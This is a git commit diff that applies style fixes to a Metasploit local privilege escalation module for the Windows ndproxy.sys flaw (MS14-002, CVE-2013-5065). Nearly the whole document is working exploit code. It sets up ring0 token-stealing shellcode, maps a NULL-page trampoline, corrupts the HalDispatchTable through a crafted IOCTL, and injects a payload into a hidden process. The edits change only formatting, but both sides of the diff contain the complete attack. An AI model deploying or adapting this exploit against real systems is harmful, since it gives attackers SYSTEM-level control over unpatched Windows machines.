Apply rubocop suggestions for ms_ndproxy
parent
86e2377218
commit
a523898909
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info, {
|
super(update_info(info, {
|
||||||
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
||||||
'Description' => %q{
|
'Description' => %q(
|
||||||
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
|
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
|
||||||
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
|
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
|
||||||
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
|
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
|
||||||
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
|
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
|
||||||
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
|
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
|
||||||
work the service "Routing and Remote Access" must be running on the target system.
|
work the service "Routing and Remote Access" must be running on the target system.
|
||||||
},
|
),
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'SessionTypes' => ['meterpreter'],
|
'SessionTypes' => ['meterpreter'],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'EXITFUNC' => 'thread',
|
'EXITFUNC' => 'thread'
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
@ -71,17 +71,17 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2013-5065' ],
|
%w(CVE 2013-5065),
|
||||||
[ 'MSB', 'MS14-002' ],
|
%w(MSB MS14-002),
|
||||||
[ 'OSVDB' , '100368'],
|
%w(OSVDB 100368),
|
||||||
[ 'BID', '63971' ],
|
%w(BID 63971),
|
||||||
[ 'EDB', '30014' ],
|
%w(EDB 30014),
|
||||||
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
|
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
|
||||||
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
|
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
|
||||||
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
|
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
|
||||||
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
|
%w(URL http://www.secniu.com/blog/?p=53),
|
||||||
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
|
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
|
||||||
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
|
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Nov 27 2013',
|
'DisclosureDate' => 'Nov 27 2013',
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
|
@ -90,19 +90,17 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def ring0_shellcode(t)
|
def ring0_shellcode(t)
|
||||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
|
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
|
||||||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||||
|
|
||||||
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
||||||
return ring0_shellcode
|
ring0_shellcode
|
||||||
end
|
end
|
||||||
|
|
||||||
def fill_memory(proc, address, length, content)
|
def fill_memory(proc, address, length, content)
|
||||||
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
|
||||||
|
|
||||||
unless proc.memory.writable?(address)
|
unless proc.memory.writable?(address)
|
||||||
vprint_error("Failed to allocate memory")
|
vprint_error('Failed to allocate memory')
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
result = proc.memory.write(address, content)
|
result = proc.memory.write(address, content)
|
||||||
|
|
||||||
if result.nil?
|
if result.nil?
|
||||||
vprint_error("Failed to write contents to memory")
|
vprint_error('Failed to write contents to memory')
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||||
end
|
end
|
||||||
|
|
||||||
return address
|
address
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_proc
|
def create_proc
|
||||||
|
@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
cmd = "#{windir}\\System32\\notepad.exe"
|
cmd = "#{windir}\\System32\\notepad.exe"
|
||||||
# run hidden
|
# run hidden
|
||||||
begin
|
begin
|
||||||
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
|
||||||
rescue Rex::Post::Meterpreter::RequestError
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
# when running from the Adobe Reader sandbox:
|
# when running from the Adobe Reader sandbox:
|
||||||
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
|
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
return proc.pid
|
proc.pid
|
||||||
end
|
end
|
||||||
|
|
||||||
def disclose_addresses(t)
|
def disclose_addresses(t)
|
||||||
|
@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
hal_dispatch_table = find_haldispatchtable
|
hal_dispatch_table = find_haldispatchtable
|
||||||
return nil if hal_dispatch_table.nil?
|
return nil if hal_dispatch_table.nil?
|
||||||
addresses["halDispatchTable"] = hal_dispatch_table
|
addresses['halDispatchTable'] = hal_dispatch_table
|
||||||
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
|
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
||||||
|
|
||||||
vprint_status("Getting the hal.dll Base Address...")
|
vprint_status('Getting the hal.dll Base Address...')
|
||||||
hal_info = find_sys_base("hal.dll")
|
hal_info = find_sys_base('hal.dll')
|
||||||
if hal_info.nil?
|
if hal_info.nil?
|
||||||
vprint_error("Failed to disclose hal.dll Base Address")
|
vprint_error('Failed to disclose hal.dll Base Address')
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
hal_base = hal_info[0]
|
hal_base = hal_info[0]
|
||||||
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
||||||
|
|
||||||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||||||
addresses["HaliQuerySystemInfo"] = hali_query_system_information
|
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
||||||
|
|
||||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
|
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
||||||
return addresses
|
addresses
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
|
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
|
||||||
return Exploit::CheckCode::Detected
|
return Exploit::CheckCode::Detected
|
||||||
end
|
end
|
||||||
|
|
||||||
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
|
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||||
if handle.nil?
|
return Exploit::CheckCode::Safe if handle.nil?
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
|
||||||
os = sysinfo["OS"]
|
os = sysinfo['OS']
|
||||||
case os
|
case os
|
||||||
when /windows xp.*service pack 3/i
|
when /windows xp.*service pack 3/i
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Appears
|
||||||
|
@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
if sysinfo["Architecture"] =~ /wow64/i
|
if sysinfo['Architecture'] =~ /wow64/i
|
||||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||||
elsif sysinfo["Architecture"] =~ /x64/
|
elsif sysinfo['Architecture'] =~ /x64/
|
||||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||||
end
|
end
|
||||||
|
|
||||||
my_target = nil
|
my_target = nil
|
||||||
if target.name =~ /Automatic/
|
if target.name =~ /Automatic/
|
||||||
print_status("Detecting the target system...")
|
print_status('Detecting the target system...')
|
||||||
os = sysinfo["OS"]
|
os = sysinfo['OS']
|
||||||
if os =~ /windows xp.*service pack 3/i
|
if os =~ /windows xp.*service pack 3/i
|
||||||
my_target = targets[1]
|
my_target = targets[1]
|
||||||
print_status("Running against #{my_target.name}")
|
print_status("Running against #{my_target.name}")
|
||||||
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
|
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||||
my_target = targets[2]
|
my_target = targets[2]
|
||||||
print_status("Running against #{my_target.name}")
|
print_status("Running against #{my_target.name}")
|
||||||
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||||
my_target = targets[2]
|
my_target = targets[2]
|
||||||
print_status("Running against #{my_target.name}")
|
print_status("Running against #{my_target.name}")
|
||||||
end
|
end
|
||||||
|
@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
if my_target.nil?
|
if my_target.nil?
|
||||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Checking device...")
|
print_status('Checking device...')
|
||||||
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
|
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||||
if handle.nil?
|
if handle.nil?
|
||||||
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
|
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
|
||||||
else
|
else
|
||||||
print_good("\\\\.\\NDProxy found!")
|
print_good('\\\\.\\NDProxy found!')
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
|
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
|
||||||
@addresses = disclose_addresses(my_target)
|
@addresses = disclose_addresses(my_target)
|
||||||
if @addresses.nil?
|
if @addresses.nil?
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
|
||||||
else
|
else
|
||||||
print_good("Addresses successfully disclosed.")
|
print_good('Addresses successfully disclosed.')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_status('Storing the kernel stager in memory...')
|
||||||
print_status("Storing the kernel stager on memory...")
|
|
||||||
this_proc = session.sys.process.open
|
this_proc = session.sys.process.open
|
||||||
kernel_shell = ring0_shellcode(my_target)
|
kernel_shell = ring0_shellcode(my_target)
|
||||||
kernel_shell_address = 0x1000
|
kernel_shell_address = 0x1000
|
||||||
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
|
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
|
||||||
if result.nil?
|
if result.nil?
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||||
else
|
else
|
||||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Storing the trampoline to the kernel stager on memory...")
|
print_status('Storing the trampoline to the kernel stager on memory...')
|
||||||
trampoline = "\x90" * 0x38 # nops
|
trampoline = "\x90" * 0x38 # nops
|
||||||
trampoline << "\x68" # push opcode
|
trampoline << "\x68" # push opcode
|
||||||
trampoline << [0x1000].pack("V") # address to push
|
trampoline << [0x1000].pack('V') # address to push
|
||||||
trampoline << "\xc3" # ret
|
trampoline << "\xc3" # ret
|
||||||
trampoline_addr = 0x1
|
trampoline_addr = 0x1
|
||||||
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
|
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
|
||||||
if result.nil?
|
if result.nil?
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
|
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
|
||||||
else
|
else
|
||||||
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Storing the IO Control buffer on memory...")
|
print_status('Storing the IO Control buffer on memory...')
|
||||||
buffer = "\x00" * 1024
|
buffer = "\x00" * 1024
|
||||||
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
|
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
|
||||||
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
|
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
|
||||||
buffer_addr = 0x0d0d0000
|
buffer_addr = 0x0d0d0000
|
||||||
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
|
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
|
||||||
if result.nil?
|
if result.nil?
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
|
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
|
||||||
else
|
else
|
||||||
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
|
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||||
magic_ioctl = 0x8fff23c8
|
magic_ioctl = 0x8fff23c8
|
||||||
# Values taken from the exploit in the wild, see references
|
# Values taken from the exploit in the wild, see references
|
||||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
||||||
|
|
||||||
session.railgun.kernel32.CloseHandle(handle)
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
|
||||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||||
|
|
||||||
print_status("Checking privileges after exploitation...")
|
print_status('Checking privileges after exploitation...')
|
||||||
|
|
||||||
unless is_system?
|
unless is_system?
|
||||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
fail_with(Failure::Unknown, 'The exploitation was not successful')
|
||||||
end
|
end
|
||||||
|
|
||||||
p = payload.encoded
|
p = payload.encoded
|
||||||
print_good("Exploitation successful! Creating a new process and launching payload...")
|
print_good('Exploitation successful! Creating a new process and launching payload...')
|
||||||
new_pid = create_proc
|
new_pid = create_proc
|
||||||
|
|
||||||
if new_pid.nil?
|
if new_pid.nil?
|
||||||
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
|
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
|
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
|
||||||
if execute_shellcode(p, nil, new_pid)
|
if execute_shellcode(p, nil, new_pid)
|
||||||
print_good("Enjoy")
|
print_good('Enjoy')
|
||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue